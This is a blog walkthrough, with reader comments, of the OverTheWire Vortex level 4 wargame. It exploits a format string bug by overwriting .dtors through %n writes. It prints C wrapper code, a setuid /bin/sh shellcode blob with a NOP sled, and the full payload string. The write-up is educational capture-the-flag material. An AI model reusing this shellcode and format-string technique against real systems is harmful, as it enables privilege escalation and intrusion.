Overthewire Vortex Level4

I found this level very cool. I’ve heard about format string bugs before, and I had the theoretical knowledge, about the mechanism of this class of bugs, but I’ve never exploited a format string bug. I’ve started with this paper. It is a very detailed description starting from the basics.

The program’s only interesting line, is the printf function without the format string parameter. Because there is no buffer to overflow, we should do an arbitrary write. As in the previous level overwriting the destructor list is a good choice here.

The first difficulity is to pass the control over the if condition. For this you must check the startup stack layout of an elf binary:

|argc|argv[0]|argv[1]|argv[2]|argv[3]...|argv[argc-1]|NULL|env_0|...|env_n|NULL|

For a detailed description check out this. If we do not provide arguments to the program, argv[3] will point to env[2].

|0|NULL|env[0]|env[1]|env[2]|...|NULL|

I’ve created a simple wrapper to overcome the argc limitation:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {
    if(argc != 2)
        return EXIT_FAILURE;
    char* arg[] = {NULL};
    char* env[] = {"0", "0", argv[1], NULL};

    execve("./level4",arg,env);
}


OK, lets find the desired address: objdump -sj.dtors /vortex/level4

/vortex/level4:     file format elf32-i386
Contents of section .dtors:
8049528 ffffffff 00000000

We will overwrite 0x0804952c. Because we do the write in 4 steps, we will write at the following locations: 080492c, 080492d, 080492e, 080492f

Now we must find the value of the write, that means we must find a region in the memory where we can put our shellcode. I used environment variables for this also.
Lets find the top of the stack:

gdb /vortex/level4
break main
run
shell
ps aux |grep level4
cat /proc/19844/maps
bf7fe000-bf800000 rwxp fffff000 00:00 0

The top of the stack is: 0xbf800000. We will put the shellcode into an environment variable, with a big nopsled at the beginning. Lets substract 500 bytes from the top of the stack: 0xbf7fff00. This will be our jump-address.

The new wrapper function:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {
    if(argc != 2)
        return EXIT_FAILURE;

    char* sh =  "\x90\x90\x90[ ... * 500 ...] \x90\x90\x90\x90"    
    "\xeb\x2b\x5e\x31\xc0\xb0\x46\x31\xdb\x66\xbb\xfb\x01\x31\xc9\x66"
    "\xb9\xfb\x01\xcd\x80\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
    "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xd0\xff"
    "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff";
    char* arg[] = {NULL};
    char* env[] = {"0", "0", argv[1], sh, NULL};
    printf("%p\n", sh);
    execve("/vortex/level4",arg,env);
}

Ok! Now we have the correct environment set for exploitation, we only have to do the overwriting of .dtors section.

First we need to prepare our buffer and examine the stack layout. It should be begin with the four address we want to write:

"\x2c\x95\x04\x08\x2d\x95\x04\x08\x2e\x95\x04\x08\x2f\x95\x04\x08"

After that there will be some padding bytes. And after the padding we will use the following string 4 times:

%70$033x%74$x

Let me explain this: we display the %70th arg padded to 33 bytes and then we display the 74th arg. The first part will control the value we want to write, the second controls the address, where to write. So after playing with it a bit, I figured out the correct padding, and the correct numbers (74,75,76,77):

"\x2c\x95\x04\x08\x2d\x95\x04\x08\x2e\x95\x04\x08\x2f\x95\x04\x08AAA"\ 
"%70$033x%74$x%70$033x%75$x%70$033x%76$x%70$033x%77$x"

Lets calculate the values for write: 0xbf7fff00. bf (191), 7f (127), ff (255), 00 (0).
The buffer is 4*4 (write addresses) + 3 (padding) = 19 bytes long. The first value we want to write is 0. That is only possible if we write 256. So the correct value is: 256-19=237. Second value we want to write is 255. Currently we have written 256 characters, so because we are working modulo 256, the correct value for the second write parameter is: 255. In the same way we can calculate the third value. We have “written” -1 (mod 256) so far, have to add 128 to it to become 127. And so on for the last one. Written so far: 127 bytes. 191-127=64.

Ok, lets substitute this variables, and check that everything is OK (the write addresses are displayed):

`printf "\x2c\x95\x04\x08\x2d\x95\x04\x08\x2e\x95\x04\x08\x2f\x95\x04\x08AAA"` \
%70\$237x%74\$x%70\$255x%75\$x%70\$128x%76\$x%70\$064x%77\$x

The only thing we have to do, is to change some “%x” to “%n”, to perform the write:

`printf "\x2c\x95\x04\x08\x2d\x95\x04\x08\x2e\x95\x04\x08\x2f\x95\x04\x08AAA"`\
%70\$237x%74\$x%70\$255x%75\$x%70\$128x%76\$x%70\$064x%77\$x

sh-3.2$ id.
uid=507(vortex5) gid=506(vortex4) groups=506(vortex4)
sh-3.2$ cat /etc/vortex_pass/vortex5
*********
This entry was posted in Wargame and tagged , , . Bookmark the permalink.

7 Responses to Overthewire Vortex Level4

  1. Mike says:

    Interesting. My only issue now is that when I dump the stack using your bypass wrapper (first one, without the shell code), I don’t see the spot where my address is.

    That is, if I use your code to wrap level4 (on my own box, not on vortex) and compile it with -fno-pie -fno-stack-protector -z norelro (as per vortex instructions) then run it like so:

    ./level4exploit AAAA%08x.%08x.%08x.%08x.%08x.

    I would expect to see something like this:

    AAAA.b77c6030.0804844b.b779fff4.41414141.00000000

    Instead I am seeing this

    AAAA.b77c6030.0804844b.b779fff4.08048440.00000000

    If I use perl to print 80 %08x I don’t see anything looking like 41414141 (which if I am understanding the format string vuln, marks the spot that will be replaced with the .dtors addy later.

    Any ideas? it LOOKS like there is still stack protection. I was wondering if you ran into this during your testing.

    Note, I am trying to understand the details of the exploit and the stack layout. I can’t figure out why I don’t see the 41414141 above.

    Any pointers (he he ) would be appreciated.

    Thanks

  2. Mike says:

    I finally got it… took a bit. I found The Art of Exploitation by Jon Erickson (2nd Ed) gave me a little better insight into the vuln.

    Also, I see what you did there…my solution was slightly different than yours.

    😉

    BTW, thanks for the link about the layout startup stack…helped tremendously.

  3. chris says:

    Hello,

    Sth is puzzling me in your solution…how in earth you know that the shellcode is located near 0xbf7fff00 ??? i

    Thx
    Chris

    • axtaxt says:

      Environment variables are located on the top of the stack. Because there is no Address Space Layout Randomization in this level, the address of the stack is fixed. I suggest you to set a breakpoint in gdb, and examine that memory are. The post contains how to find the address of the stack.

      • chris says:

        Thank you very much for the answer…i was doing what you suggested using breakpoints in the gdb. However, due to the execution of the execve, i couldnot follow propoerly using gdb the execution of the process (the linker code was invoked).

        Anyway, i then used catchpoints instead of breakpoints (i.e., catch exec) and then i could properly see the stack of the new process invoked. I am posting this if ever helps someone.

        Thank you again.

      • axtaxt says:

        It was a while, but if I remember right, I used “set follow-fork-mode child” in gdb (don’t know if it’s needed here or not), and then set a breakpoint on main. The first hit of the breakpoint is as usual after you type run, the second is when execve finished, and the child process starts. .

  4. Note that now this level is slightly changed. Now we can’t modify .fini_array because of partial RELRO.
    Instead, we need to modify GOT and rewrite exit in .got.plt.

Leave a comment